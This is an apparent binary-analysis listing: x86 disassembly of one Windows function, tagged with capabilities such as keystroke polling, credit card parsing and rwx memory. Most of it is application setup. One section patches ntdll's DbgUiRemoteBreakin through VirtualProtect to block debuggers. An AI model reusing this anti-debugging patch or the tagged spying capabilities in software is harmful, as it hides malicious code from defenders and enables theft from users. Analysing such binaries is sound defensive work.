Function at 0x50b9f0
Capabilities:
Allocate or change rwx memory
Allocate thread local storage
Check for unmoving mouse cursor
Check http status code
Log keystrokes via polling
Parse credit card information

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x5c
mov dword [esp], 0
call sub.KERNEL32.dll_GetModuleHandleW
sub esp, 4
mov dword [0x760374], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0x1000
mov dword [esp], 0
call sub.KERNEL32.dll_HeapCreate
sub esp, 0xc
mov dword [0x760378], eax
call fcn.00519083
mov dword [0x760370], 0x67c4e0
call fcn.00572b20
mov dword [0x6698b7], 0x6694c0
mov dword [0x6696da], 0x6690a0
mov dword [0x66959e], 0x669020
call fcn.00572470
call fcn.0057167e
call fcn.0056ebe0
call fcn.00569e14
call fcn.005695a0
call fcn.00568dd6
call fcn.0056854a
call fcn.00566f0d
call fcn.0055e983
call fcn.0055d93e
call fcn.0055cdc2
call fcn.0055ca2d
call fcn.0055bf87
call fcn.0055ac7e
call fcn.0054a6ab
call fcn.00541ec8
call fcn.00540d00
call fcn.0053e108
call fcn.0053d982
call fcn.0053c34e
call fcn.0053c073
call fcn.0053bae1
call fcn.0053ac49
call fcn.00539e52
call fcn.0051f830
call fcn.0051f1ba
call fcn.0051a65f
call fcn.0051a263
call fcn.00519571
mov dword [esp + 4], 0x7603dc
mov dword [esp], 0x75ff2c
call fcn.00572bd0
sub esp, 8
mov dword [esp + 0xc], 7
mov dword [esp + 8], 0x6690ec
mov dword [esp + 4], 0x75ff08
mov dword [esp], 0x2b
call fcn.00568569
sub esp, 0x10
mov dword [0x76036c], 0x2a
call fcn.0053f7b0
mov dword [0x76036c], 0x2b
call fcn.0053fbb0
mov dword [0x76036c], 0x3b
mov dword [0x7601fc], 0x180204
mov dword [0x76036c], 0x3b
mov dword [0x7602c4], 0
mov dword [0x76036c], 0x41
mov dword [esp + 0x10], 0x760368
mov dword [esp + 0xc], 0x75b104
mov dword [esp + 8], 8
mov dword [esp + 4], 0xa
mov dword [esp], 4
call fcn.0055d967
sub esp, 0x14
mov dword [0x76036c], 0x100007
mov dword [esp + 0x10], 0x200
mov dword [esp + 0xc], 0x76039c
mov dword [esp + 8], 0x669404
mov dword [esp + 4], 7
mov dword [esp], 4
call fcn.0055ca4c
sub esp, 0x14
mov dword [0x76036c], 0x20012d
mov dword [esp + 0x10], 0x200
mov dword [esp + 0xc], 0x7603a0
mov dword [esp + 8], 0x669420
mov dword [esp + 4], 7
mov dword [esp], 0x9c
call fcn.0055ca4c
sub esp, 0x14
mov dword [0x76036c], 0x2006ec
mov dword [0x76036c], 0x200535
mov dword [0x76036c], 0x200536
mov dword [0x76036c], 0x200541
mov dword [esp], 0xffffffff
call fcn.005493d8
sub esp, 4
mov dword [0x7600c0], eax
mov dword [0x76036c], 0x200545
mov dword [esp], 4
call sub.USER32.dll_GetSysColor
sub esp, 4
mov dword [0x7600c8], eax
mov dword [0x76036c], 0x20054b
mov dword [esp], 7
call sub.USER32.dll_GetSysColor
sub esp, 4
mov dword [0x7600c4], eax
mov dword [0x76036c], 0x200551
mov dword [esp], 0x10
call sub.USER32.dll_GetSysColor
sub esp, 4
mov dword [0x7600cc], eax
mov dword [0x76036c], 0x200557
mov dword [esp], 0xd
call sub.USER32.dll_GetSysColor
sub esp, 4
mov dword [0x7600d0], eax
mov dword [0x76036c], 0x20055d
mov dword [esp], 0x16
call sub.USER32.dll_GetSysColor
sub esp, 4
mov dword [0x7600d4], eax
mov dword [0x76036c], 0x200562
mov dword [0x7600d8], 2
mov dword [0x76036c], 0x200563
mov dword [0x7600dc], 3
mov dword [0x76036c], 0x200564
mov dword [0x7600e0], 0
mov dword [0x76036c], 0x200565
mov dword [0x7600e4], 0
mov dword [0x76036c], 0x200566
mov dword [0x7600f8], 0
mov dword [0x76036c], 0x200567
mov dword [0x7600f4], 0xffffffff
mov dword [0x76036c], 0x200568
mov dword [0x7600e8], 1
mov dword [0x76036c], 0x200569
mov dword [0x7600ec], 0x100000
mov dword [0x76036c], 0x20056a
mov dword [0x7600f0], 0
mov dword [0x76036c], 0x20056c
mov dword [0x76036c], 0x3000d3
mov dword [esp + 0x10], 0x760358
mov dword [esp + 0xc], 0x75b104
mov dword [esp + 8], 8
mov dword [esp + 4], 0x41
mov dword [esp], 4
call fcn.0055d967
sub esp, 0x14
mov dword [0x76036c], 0x3000d4
mov dword [esp + 4], str.None
mov eax, dword [0x760358]
add eax, 4
mov dword [esp], eax
call fcn.00572830
sub esp, 8
mov dword [0x76036c], 0x3000d5
mov dword [esp + 4], str.Keyword
mov eax, dword [0x760358]
add eax, 8
mov dword [esp], eax
call fcn.00572830
sub esp, 8
mov dword [0x76036c], 0x3000d6
mov dword [esp + 4], str.Function
mov eax, dword [0x760358]
add eax, 0xc
mov dword [esp], eax
call fcn.00572830
sub esp, 8
mov dword [0x76036c], 0x3000d7
mov dword [esp + 4], str.Structure
mov eax, dword [0x760358]
add eax, 0x10
mov dword [esp], eax
call fcn.00572830
sub esp, 8
mov dword [0x76036c], 0x3000d8
mov dword [esp + 4], 0x670fbc
mov eax, dword [0x760358]
add eax, 0x14
mov dword [esp], eax
call fcn.00572830
sub esp, 8
mov dword [0x76036c], 0x3000d9
mov dword [esp + 4], 0x67b3cc
mov eax, dword [0x760358]
add eax, 0x18
mov dword [esp], eax
call fcn.00572830
sub esp, 8
mov dword [0x76036c], 0x3000da
mov dword [esp + 4], str.Quote
mov eax, dword [0x760358]
add eax, 0x1c
mov dword [esp], eax
call fcn.00572830
sub esp, 8
mov dword [0x76036c], 0x3000db
mov dword [esp + 4], str.Comment
mov eax, dword [0x760358]
add eax, 0x20
mov dword [esp], eax
call fcn.00572830
sub esp, 8
mov dword [0x76036c], 0x3000dc
mov dword [esp + 4], str.Number
mov eax, dword [0x760358]
add eax, 0x24
mov dword [esp], eax
call fcn.00572830
sub esp, 8
mov dword [0x76036c], 0x3000dd
mov dword [esp + 4], str.Pointer
mov eax, dword [0x760358]
add eax, 0x28
mov dword [esp], eax
call fcn.00572830
sub esp, 8
mov dword [0x76036c], 0x3000de
mov dword [esp + 4], str.Address
mov eax, dword [0x760358]
add eax, 0x2c
mov dword [esp], eax
call fcn.00572830
sub esp, 8
mov dword [0x76036c], 0x3000df
mov dword [esp + 4], str.Constant
mov eax, dword [0x760358]
add eax, 0x30
mov dword [esp], eax
call fcn.00572830
sub esp, 8
mov dword [0x76036c], 0x3000e0
mov dword [esp + 4], str.Operator
mov eax, dword [0x760358]
add eax, 0x34
mov dword [esp], eax
call fcn.00572830
sub esp, 8
mov dword [0x76036c], 0x3000e1
mov dword [esp + 4], str.Backslash
mov eax, dword [0x760358]
add eax, 0x38
mov dword [esp], eax
call fcn.00572830
sub esp, 8
mov dword [0x76036c], 0x3000e2
mov dword [esp + 4], str.Comma
mov eax, dword [0x760358]
add eax, 0x3c
mov dword [esp], eax
call fcn.00572830
sub esp, 8
mov dword [0x76036c], 0x3000e3
mov dword [esp + 4], str.Bracket
mov eax, dword [0x760358]
add eax, 0x40
mov dword [esp], eax
call fcn.00572830
sub esp, 8
mov dword [0x76036c], 0x3000e4
mov dword [esp + 4], str.Highlight
mov eax, dword [0x760358]
add eax, 0x44
mov dword [esp], eax
call fcn.00572830
sub esp, 8
mov dword [0x76036c], 0x3000e5
mov dword [esp + 4], str.CodeMatch
mov eax, dword [0x760358]
add eax, 0x48
mov dword [esp], eax
call fcn.00572830
sub esp, 8
mov dword [0x76036c], 0x3000e6
mov dword [esp + 4], str.CodeMismatch
mov eax, dword [0x760358]
add eax, 0x4c
mov dword [esp], eax
call fcn.00572830
sub esp, 8
mov dword [0x76036c], 0x3000e7
mov dword [esp + 4], str.BracketMatch
mov eax, dword [0x760358]
add eax, 0x50
mov dword [esp], eax
call fcn.00572830
sub esp, 8
mov dword [0x76036c], 0x3000e8
mov dword [esp + 4], str.BracketMismatch
mov eax, dword [0x760358]
add eax, 0x54
mov dword [esp], eax
call fcn.00572830
sub esp, 8
mov dword [0x76036c], 0x3000e9
mov dword [esp + 4], str.Label
mov eax, dword [0x760358]
add eax, 0x58
mov dword [esp], eax
call fcn.00572830
sub esp, 8
mov dword [0x76036c], 0x300108
mov dword [esp + 0x10], 0x760354
mov dword [esp + 0xc], 0x75b104
mov dword [esp + 8], 8
mov dword [esp + 4], 0x41
mov dword [esp], 4
call fcn.0055d967
sub esp, 0x14
mov dword [0x76036c], 0x300109
mov dword [esp + 4], str.unknown
mov eax, dword [0x760354]
mov dword [esp], eax
call fcn.00572830
sub esp, 8
mov dword [0x76036c], 0x30010a
mov dword [esp + 4], str.whiteSpace
mov eax, dword [0x760354]
add eax, 4
mov dword [esp], eax
call fcn.00572830
sub esp, 8
mov dword [0x76036c], 0x30010b
mov dword [esp + 4], str.text
mov eax, dword [0x760354]
add eax, 8
mov dword [esp], eax
call fcn.00572830
sub esp, 8
mov dword [0x76036c], 0x30010c
mov dword [esp + 4], str.number
mov eax, dword [0x760354]
add eax, 0xc
mov dword [esp], eax
call fcn.00572830
sub esp, 8
mov dword [0x76036c], 0x30010d
mov dword [esp + 4], 0x677770
mov eax, dword [0x760354]
add eax, 0x10
mov dword [esp], eax
call fcn.00572830
sub esp, 8
mov dword [0x76036c], 0x30010e
mov dword [esp + 4], str.compare
mov eax, dword [0x760354]
add eax, 0x14
mov dword [esp], eax
call fcn.00572830
sub esp, 8
mov dword [0x76036c], 0x30010f
mov dword [esp + 4], str.backslash
mov eax, dword [0x760354]
add eax, 0x18
mov dword [esp], eax
call fcn.00572830
sub esp, 8
mov dword [0x76036c], 0x300110
mov dword [esp + 4], str.point
mov eax, dword [0x760354]
add eax, 0x1c
mov dword [esp], eax
call fcn.00572830
sub esp, 8
mov dword [0x76036c], 0x300111
mov dword [esp + 4], str.equal
mov eax, dword [0x760354]
add eax, 0x20
mov dword [esp], eax
call fcn.00572830
sub esp, 8
mov dword [0x76036c], 0x300112
mov dword [esp + 4], str.comma
mov eax, dword [0x760354]
add eax, 0x24
mov dword [esp], eax
call fcn.00572830
sub esp, 8
mov dword [0x76036c], 0x300113
mov dword [esp + 4], str.colon
mov eax, dword [0x760354]
add eax, 0x28
mov dword [esp], eax
call fcn.00572830
sub esp, 8
mov dword [0x76036c], 0x300114
mov dword [esp + 4], str.bracketOpen
mov eax, dword [0x760354]
add eax, 0x2c
mov dword [esp], eax
call fcn.00572830
sub esp, 8
mov dword [0x76036c], 0x300115
mov dword [esp + 4], str.bracketClose
mov eax, dword [0x760354]
add eax, 0x30
mov dword [esp], eax
call fcn.00572830
sub esp, 8
mov dword [0x76036c], 0x300116
mov dword [esp + 4], str.string
mov eax, dword [0x760354]
add eax, 0x34
mov dword [esp], eax
call fcn.00572830
sub esp, 8
mov dword [0x76036c], 0x300117
mov dword [esp + 4], str.quote
mov eax, dword [0x760354]
add eax, 0x38
mov dword [esp], eax
call fcn.00572830
sub esp, 8
mov dword [0x76036c], 0x300118
mov dword [esp + 4], str.comment
mov eax, dword [0x760354]
add eax, 0x3c
mov dword [esp], eax
call fcn.00572830
sub esp, 8
mov dword [0x76036c], 0x300119
mov dword [esp + 4], 0x6751b4
mov eax, dword [0x760354]
add eax, 0x40
mov dword [esp], eax
call fcn.00572830
sub esp, 8
mov dword [0x76036c], 0x302797
mov dword [esp + 0x10], 0x200
mov dword [esp + 0xc], 0x7603a4
mov dword [esp + 8], 0
mov dword [esp + 4], 0x15
mov dword [esp], 4
call fcn.0055ca4c
sub esp, 0x14
mov dword [0x76036c], 0x400031
mov dword [esp + 4], 0x671e20
mov dword [esp], 0x760038
call fcn.00572830
sub esp, 8
mov dword [0x76036c], 0x4000db
mov dword [esp + 0x10], 0x200
mov dword [esp + 0xc], 0x76038c
mov dword [esp + 8], 0
mov dword [esp + 4], 7
mov dword [esp], 4
call fcn.0055ca4c
sub esp, 0x14
mov dword [0x76036c], 0x4000f3
mov dword [esp + 0x10], 0x200
mov dword [esp + 0xc], 0x760388
mov dword [esp + 8], 0x669020
mov dword [esp + 4], 7
mov dword [esp], 0x50
call fcn.0055ca4c
sub esp, 0x14
mov dword [0x76036c], 0x400119
mov dword [esp + 0xc], 7
mov dword [esp + 8], 0x669060
mov dword [esp + 4], 0x7603c4
mov dword [esp], 0x79
call fcn.00568569
sub esp, 0x10
mov dword [0x76036c], 0x40013e
mov dword [esp + 0xc], 7
mov dword [esp + 8], 0x6690a0
mov dword [esp + 4], 0x7603bc
mov dword [esp], 0x78
call fcn.00568569
sub esp, 0x10
mov dword [0x76036c], 0x40013f
mov dword [esp + 0xc], 7
mov dword [esp + 8], 0x6690a0
mov dword [esp + 4], 0x7603b4
mov dword [esp], 0x78
call fcn.00568569
sub esp, 0x10
mov dword [0x76036c], 0x40015a
mov dword [esp + 0x10], 0x200
mov dword [esp + 0xc], 0x760384
mov dword [esp + 8], 0x669010
mov dword [esp + 4], 7
mov dword [esp], 0x18
call fcn.0055ca4c
sub esp, 0x14
mov dword [0x76036c], 0x400161
mov dword [esp + 0x10], 0x200
mov dword [esp + 0xc], 0x760380
mov dword [esp + 8], 0x6690e0
mov dword [esp + 4], 7
mov dword [esp], 0xc
call fcn.0055ca4c
sub esp, 0x14
mov dword [0x76036c], 0x40017d
mov dword [0x7600b0], 0xa00
mov dword [0x76036c], 0x40017d
mov dword [0x7600ac], 0x5a0
mov dword [0x76036c], 0x400180
mov dword [0x760094], 0x21c
mov dword [0x76036c], 0x400180
mov dword [0x760078], 0x190
mov dword [0x76036c], 0x400181
mov dword [0x75ff7c], 0xdc
mov dword [0x76036c], 0x400181
mov dword [0x75ffec], 0x37
mov dword [0x76036c], 0x400181
mov dword [0x75ff98], 0xfc
mov dword [0x76036c], 0x400184
mov dword [0x75ffe0], 0xa
mov dword [0x76036c], 0x400184
mov dword [0x7600a8], 0xa
mov dword [0x76036c], 0x400184
mov dword [0x75ffa0], 1
mov dword [0x76036c], 0x400184
mov dword [0x75fff0], 1
mov dword [0x76036c], 0x400184
mov dword [0x75ffdc], 1
mov dword [0x76036c], 0x400184
mov dword [0x760004], 1
mov dword [0x76036c], 0x400184
mov dword [0x75ff84], 0
mov dword [0x76036c], 0x400186
mov dword [0x760080], 1
mov dword [0x76036c], 0x400186
mov dword [0x75ffd8], 1
mov dword [0x76036c], 0x400188
mov dword [0x760058], 0xffff0001
mov dword [0x76036c], 0x400188
mov dword [0x760090], 0xffff0001
mov dword [0x76036c], 0x400188
mov dword [0x75ffd4], 0xffff0001
mov dword [0x76036c], 0x40018b
mov dword [0x76005c], 1
mov dword [0x76036c], 0x40018b
mov dword [0x76001c], 0x20
mov dword [0x76036c], 0x40018b
mov dword [0x75ffd0], 0xff
mov dword [0x76036c], 0x40019c
mov dword [0x669004], 0
mov dword [0x76036c], 0x40019e
mov dword [0x75b400], 0x60
mov dword [0x76036c], 0x40019e
mov dword [0x75b404], 0x60
mov dword [0x76036c], 0x40019f
fld1
fst qword [0x75b3f0]
mov dword [0x76036c], 0x40019f
fstp qword [0x75b3f8]
mov dword [0x76036c], 0x500021
mov dword [esp + 8], 0x808080
mov dword [esp + 4], 1
mov dword [esp], 0
call sub.GDI32.dll_CreatePen
sub esp, 0xc
mov dword [0x76004c], eax
mov dword [0x76036c], 0x500022
mov dword [esp + 8], 0xcc872c
mov dword [esp + 4], 1
mov dword [esp], 0
call sub.GDI32.dll_CreatePen
sub esp, 0xc
mov dword [0x75fff4], eax
mov dword [0x76036c], 0x5000a2
mov dword [esp + 0xc], 7
mov dword [esp + 8], 0
mov dword [esp + 4], 0x7603ac
mov dword [esp], 0x1f
call fcn.00568569
sub esp, 0x10
mov dword [0x76036c], 0x40024e
mov dword [esp + 0x10], 0x760350
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x15
mov dword [esp + 4], 9
mov dword [esp], 4
call fcn.0055d967
sub esp, 0x14
mov dword [0x76036c], 0x40026f
call fcn.0053f7b0
mov dword [0x76036c], 0x400270
call fcn.0053fbb0
mov dword [0x76036c], 0xa0003f
mov dword [esp + 0x10], 0x760364
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x15
mov dword [esp + 4], 0x10
mov dword [esp], 4
call fcn.0055d967
sub esp, 0x14
mov dword [0x76036c], 0xb000de
mov dword [0x7601b0], 0
mov dword [0x76036c], 0xb000ee
mov dword [esp + 0x10], 0x760360
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x15
mov dword [esp + 4], 0x13
mov dword [esp], 4
call fcn.0055d967
sub esp, 0x14
mov dword [0x76036c], 0xf00034
mov dword [esp + 0xc], 7
mov dword [esp + 8], 0x669460
mov dword [esp + 4], 0x7603d4
mov dword [esp], 0x7c
call fcn.00568569
sub esp, 0x10
mov dword [0x76036c], 0xf0003c
mov dword [esp + 0x10], 0x76035c
mov dword [esp + 0xc], 0x75b104
mov dword [esp + 8], 8
mov dword [esp + 4], 1
mov dword [esp], 4
call fcn.0055d967
sub esp, 0x14
mov dword [0x76036c], 0x1000054
mov dword [esp + 0xc], 7
mov dword [esp + 8], 0x6694c0
mov dword [esp + 4], 0x7603cc
mov dword [esp], 0x6c
call fcn.00568569
sub esp, 0x10
mov dword [0x76036c], 0x110002c
mov dword [esp + 0x10], 0x200
mov dword [esp + 0xc], 0x7603a8
mov dword [esp + 8], 0x669540
mov dword [esp + 4], 7
mov dword [esp], 0x10
call fcn.0055ca4c
sub esp, 0x14
mov dword [0x76036c], 0x110002d
mov dword [0x76034c], 2
mov dword [0x76036c], 0x110002e
mov dword [0x76036c], 0x120012e
mov dword [0x76036c], 0x120021a
mov dword [0x76036c], 0x120021b
mov dword [0x7600b4], 0x43dfa0
mov dword [0x76036c], 0x120021c
mov dword [0x76036c], 0x12001b5
mov dword [esp + 0x10], 0x200
mov dword [esp + 0xc], 0x760398
mov dword [esp + 8], 0
mov dword [esp + 4], 0x15
mov dword [esp], 4
call fcn.0055ca4c
sub esp, 0x14
mov dword [0x76036c], 0x12001b6
mov dword [esp + 0x10], 0x200
mov dword [esp + 0xc], 0x760394
mov dword [esp + 8], 0
mov dword [esp + 4], 7
mov dword [esp], 0x1c
call fcn.0055ca4c
sub esp, 0x14
mov dword [0x76036c], 0x12001b7
mov dword [esp + 0x10], 0x200
mov dword [esp + 0xc], 0x760390
mov dword [esp + 8], 0
mov dword [esp + 4], 0x15
mov dword [esp], 4
call fcn.0055ca4c
sub esp, 0x14
mov dword [0x76036c], 0x1101
mov dword [0x76036c], 0x1101
mov dword [0x76036c], 0x1101
mov dword [0x76036c], 0x1101
mov dword [0x76036c], 0x1101
mov dword [0x76036c], 0x1102
mov dword [0x76036c], 0x1102
mov dword [0x76036c], 0x1102
mov dword [0x76036c], 0x1102
mov dword [0x76036c], 0x1102
mov dword [0x76036c], 0x1102
mov dword [0x76036c], 0x1102
mov dword [0x76036c], 0x1103
mov dword [0x76036c], 0x1103
mov dword [0x76036c], 0x1106
mov dword [esp], 0x508490
call fcn.0053bf90
sub esp, 4
mov dword [0x76036c], 0x1109
mov dword [esp + 0x3c], 0
mov dword [0x76036c], 0x1d7
mov dword [0x76036c], 0x1da
mov dword [esp + 4], str.ntdll.dll
mov dword [esp], 0
call fcn.0053d9f5
sub esp, 8
test eax, eax
jne 0x50d01a
mov dword [0x76036c], 0x1dd
mov dword [0x76036c], 0x1de
mov dword [esp + 4], str.kernel32.dll
mov dword [esp], 0
call fcn.0053d9f5
sub esp, 8
test eax, eax
jne 0x50d057
mov dword [0x76036c], 0x1e1
mov dword [0x76036c], 0x1e2
lea ebx, [esp + 0x3c]
mov dword [esp + 0xc], ebx
mov dword [esp + 8], 0x40
mov dword [esp + 4], 6
mov eax, dword [0x760204]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualProtect
sub esp, 0x10
mov dword [0x76036c], 0x1e3
mov dword [esp + 4], 0x68
mov eax, dword [0x760204]
mov dword [esp], eax
call fcn.00572490
sub esp, 8
mov dword [0x76036c], 0x1e4
mov eax, dword [0x7601b4]
mov dword [esp + 4], eax
mov eax, dword [0x760204]
add eax, 1
mov dword [esp], eax
call fcn.005724a0
sub esp, 8
mov dword [0x76036c], 0x1e5
mov dword [esp + 4], 0xc3
mov eax, dword [0x760204]
add eax, 5
mov dword [esp], eax
call fcn.00572490
sub esp, 8
mov dword [0x76036c], 0x1e6
mov eax, dword [esp + 0x3c]
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], 6
mov eax, dword [0x760204]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualProtect
sub esp, 0x10
mov dword [0x76036c], 0x1e7
mov dword [0x76036c], 0x110b
call fcn.00539fe6
cmp eax, 1
je 0x50d094
mov dword [0x76036c], 0x1119
mov dword [0x76036c], 0x111b
call fcn.00572920
call fcn.00572920
call fcn.00572920
call fcn.00572920
call fcn.00572920
call fcn.00572950
mov dword [esp], eax
call fcn.00539654
sub esp, 4
call fcn.005729f0
mov ebx, eax
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.00559220
sub esp, 8
call fcn.005729f0
mov dword [esp], eax
call fcn.005598e0
sub esp, 4
call fcn.00572990
mov dword [0x76036c], 0x111c
mov dword [0x76036c], 0x400272
mov dword [0x76036c], 0x400273
mov dword [0x76036c], 0x400278
fldz
fld dword [0x75ff78]
fucomi st(1)
fstp st(1)
jp 0x50cda2
je 0x50d2e6
mov dword [0x76036c], 0x400281
mov dword [0x76036c], 0x400282
fdiv dword [0x60d3f0]
fst dword [0x760054]
mov dword [0x76036c], 0x111d
fild dword [0x75ff7c]
fmul st(1)
fstp qword [esp + 0x40]
fld qword [esp + 0x40]
fistp qword [esp + 0x48]
mov eax, dword [esp + 0x48]
mov dword [0x75ff7c], eax
mov dword [0x76036c], 0x111e
fild dword [0x75ffec]
fmulp st(1)
fstp qword [esp + 0x40]
fld qword [esp + 0x40]
fistp qword [esp + 0x48]
mov eax, dword [esp + 0x48]
mov dword [0x75ffec], eax
mov dword [0x76036c], 0x111f
call fcn.0045d120
mov dword [0x76036c], 0x1121
call fcn.00503500
mov dword [0x76036c], 0x1123
call fcn.00509870
mov dword [0x76036c], 0x1124
call fcn.00435390
mov dword [0x76036c], 0x1126
call fcn.004b98b0
mov dword [0x76036c], 0x1127
mov dword [esp + 4], 1
mov dword [esp], 0
call fcn.0055ae8a
sub esp, 8
mov dword [0x76036c], 0x1128
mov dword [esp], 0x20
call fcn.0040b560
sub esp, 4
mov ebx, eax
mov dword [esp], 9
call fcn.005427e0
sub esp, 4
mov esi, eax
mov dword [esp], 0xb
call fcn.005427e0
sub esp, 4
mov dword [esp + 0x10], 0xffff0001
mov dword [esp + 0xc], 0xffff0001
mov dword [esp + 8], 0xffff0001
add ebx, esi
lea eax, [ebx + eax + 0x1e]
mov dword [esp + 4], eax
mov dword [esp], 0
call fcn.0055aa64
sub esp, 0x14
mov dword [0x76036c], 0x1129
mov dword [esp], 0x20
call fcn.0040b560
sub esp, 4
add eax, 6
mov dword [esp + 8], eax
mov dword [esp + 4], 1
mov dword [esp], 5
call fcn.004483e0
sub esp, 0xc
mov dword [0x76036c], 0x112a
mov dword [esp], 9
call fcn.005427e0
sub esp, 4
mov ebx, eax
mov dword [esp], 0xb
call fcn.005427e0
sub esp, 4
lea eax, [ebx + eax + 6]
mov dword [esp + 8], eax
mov dword [esp + 4], 2
mov dword [esp], 5
call fcn.004483e0
sub esp, 0xc
mov dword [0x76036c], 0x112c
mov dword [esp + 4], 0x4b21f0
mov dword [esp], 6
call fcn.00549541
sub esp, 8
mov dword [0x76036c], 0x112d
mov dword [esp + 4], 0x4c7ed0
mov dword [esp], 5
call fcn.00549541
sub esp, 8
mov dword [0x76036c], 0x1130
call fcn.004b1400
mov dword [0x76036c], 0x1132
mov eax, dword [0x75ffdc]
test eax, eax
je 0x50d3a4
mov dword [0x76036c], 0x1134
mov dword [0x76036c], 0x1136
call fcn.00539fe6
cmp eax, 1
je 0x50d3b8
mov dword [0x76036c], 0x1152
mov dword [0x76036c], 0x1153
call fcn.004b1b70
mov dword [0x76036c], 0x1154
jmp 0x50de7a
mov dword [0x76036c], 0x1db
mov dword [esp + 4], str.DbgUiRemoteBreakin
xor esi, esi
mov dword [esp], esi
call fcn.0053da4f
push edi
push edi
mov dword [0x760204], eax
mov dword [0x76036c], 0x1dc
xor ebp, ebp
mov dword [esp], ebp
call fcn.0053d935
push eax
jmp 0x50cbcd
mov dword [0x76036c], 0x1df
mov dword [esp + 4], 0x66ef08
xor eax, eax
mov dword [esp], eax
call fcn.0053da4f
push edx
push edx
mov dword [0x7601b4], eax
mov dword [0x76036c], 0x1e0
xor ecx, ecx
mov dword [esp], ecx
call fcn.0053d935
push ebx
jmp 0x50cc00
mov dword [0x76036c], 0x110c
call fcn.00572920
call fcn.00572920
call fcn.00572920
call fcn.00572920
call fcn.00572920
call fcn.00572920
call fcn.00572950
mov dword [esp + 4], eax
xor esi, esi
mov dword [esp], esi
call fcn.00539ffa
push edi
push edi
call fcn.005729f0
mov ebx, eax
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.0056fd80
push ebp
push ebp
call fcn.005729f0
mov ebx, eax
call fcn.00572950
mov dword [esp + 8], eax
mov dword [esp + 4], 4
mov dword [esp], ebx
call fcn.0056f620
sub esp, 0xc
add dword [0x765a20], 2
call fcn.005729c0
mov dword [esp + 4], eax
mov dword [esp], str.DPI_
call fcn.005728e0
test eax, eax
jne 0x50d13d
mov dword [0x76036c], 0x1118
jmp 0x50ccf9
mov dword [0x76036c], 0x110d
call fcn.00572920
call fcn.00572920
call fcn.00572920
call fcn.00572920
call fcn.00572950
mov dword [esp + 4], eax
xor eax, eax
mov dword [esp], eax
call fcn.00539ffa
push eax
push eax
call fcn.005729f0
mov ebx, eax
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.0056fd80
push edx
push edx
xor ecx, ecx
mov dword [esp + 0x38], ecx
call fcn.00572950
mov dword [esp + 4], eax
lea eax, [esp + 0x38]
mov dword [esp], eax
call fcn.00572aa0
push ebx
push ebx
mov dword [0x76036c], 0x110e
mov dword [0x76036c], 0x110e
mov dword [esp + 4], str.DPI_UNAWARE
mov eax, dword [esp + 0x38]
mov dword [esp], eax
call fcn.005728e0
test eax, eax
jne 0x50d27c
mov dword [0x76036c], 0x1110
mov dword [0x76036c], 0x1110
mov dword [esp + 4], str.DPI_AWARE
mov eax, dword [esp + 0x38]
mov dword [esp], eax
call fcn.005728e0
test eax, eax
jne 0x50d2b4
mov dword [0x76036c], 0x1112
mov dword [0x76036c], 0x1112
mov dword [esp + 4], str.DPI_AWAREPM
mov eax, dword [esp + 0x38]
mov dword [esp], eax
call fcn.005728e0
test eax, eax
jne 0x50d2cd
mov dword [0x76036c], 0x1114
mov dword [0x76036c], 0x1114
mov dword [esp + 4], str.DPI_AWAREPMGDI
mov eax, dword [esp + 0x38]
mov dword [esp], eax
call fcn.005728e0
test eax, eax
je 0x50d293
mov dword [0x76036c], 0x1115
mov dword [esp], 0xe
call fcn.00419c60
push ebp
jmp 0x50d293
mov dword [0x76036c], 0x110f
mov dword [esp], 1
call fcn.00419c60
push eax
mov eax, dword [esp + 0x38]
mov dword [esp], eax
call fcn.00572ba0
push edi
mov dword [0x76036c], 0x1117
call fcn.00509840
mov dword [0x76036c], 0x1111
mov dword [esp], 2
call fcn.00419c60
push eax
jmp 0x50d293
mov dword [0x76036c], 0x1113
mov dword [esp], 6
call fcn.00419c60
push eax
jmp 0x50d293
fstp st(0)
mov dword [0x76036c], 0x400279
mov dword [esp + 8], 1
mov dword [esp + 4], 1
mov dword [esp], 0xffffffff
call fcn.005671cc
sub esp, 0xc
mov ebx, eax
mov dword [0x76036c], 0x40027a
mov dword [esp], eax
call fcn.00566e43
push esi
test eax, eax
jne 0x50d33f
mov dword [0x76036c], 0x400280
fld dword [0x75ff78]
jmp 0x50cda2
mov dword [0x76036c], 0x40027b
mov dword [esp], ebx
call fcn.00567444
push edx
mov dword [esp], eax
call fcn.0056bd20
push ecx
test eax, eax
jne 0x50d37e
mov dword [0x76036c], 0x40027e
mov dword [0x76036c], 0x40027f
mov dword [esp], ebx
call fcn.00566e55
push eax
jmp 0x50d32a
mov dword [0x76036c], 0x40027c
call fcn.0056ed10
fstp dword [0x75ff78]
mov dword [0x76036c], 0x40027d
call fcn.0056d140
jmp 0x50d35f
mov dword [0x76036c], 0x1133
call fcn.0048b550
jmp 0x50cfd0
mov dword [0x76036c], 0x1137
call fcn.00572920
call fcn.00572920
call fcn.00572950
mov dword [esp + 4], eax
xor ebx, ebx
mov dword [esp], ebx
call fcn.00539ffa
push esi
push esi
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], 0x7602c0
call fcn.00572aa0
push edi
push edi
mov dword [0x76036c], 0x1138
call fcn.00572920
call fcn.00572920
call fcn.00572920
call fcn.00572920
call fcn.00572950
mov dword [esp + 4], eax
mov eax, dword [0x7602c0]
mov dword [esp], eax
call fcn.0056fd80
push ebp
push ebp
call fcn.005729f0
mov ebx, eax
call fcn.00572950
mov dword [esp + 8], eax
mov dword [esp + 4], 4
mov dword [esp], ebx
call fcn.0056f620
sub esp, 0xc
add dword [0x765a20], 2
call fcn.005729c0
mov dword [esp + 4], eax
mov dword [esp], str.DPI_
call fcn.005728e0
test eax, eax
je 0x50d55d
mov dword [0x76036c], 0x113a
mov dword [0x76036c], 0x113b
mov eax, dword [0x7602c0]
mov dword [esp], eax
call fcn.00559056
push ecx
mov ecx, eax
xor eax, eax
cmp eax, ecx
sbb eax, edx
jge 0x50d544
mov dword [0x76036c], 0x113c
call fcn.00572920
call fcn.00572920
call fcn.00572920
call fcn.00572920
call fcn.00572920
call fcn.00572920
call fcn.00572950
mov dword [esp + 4], eax
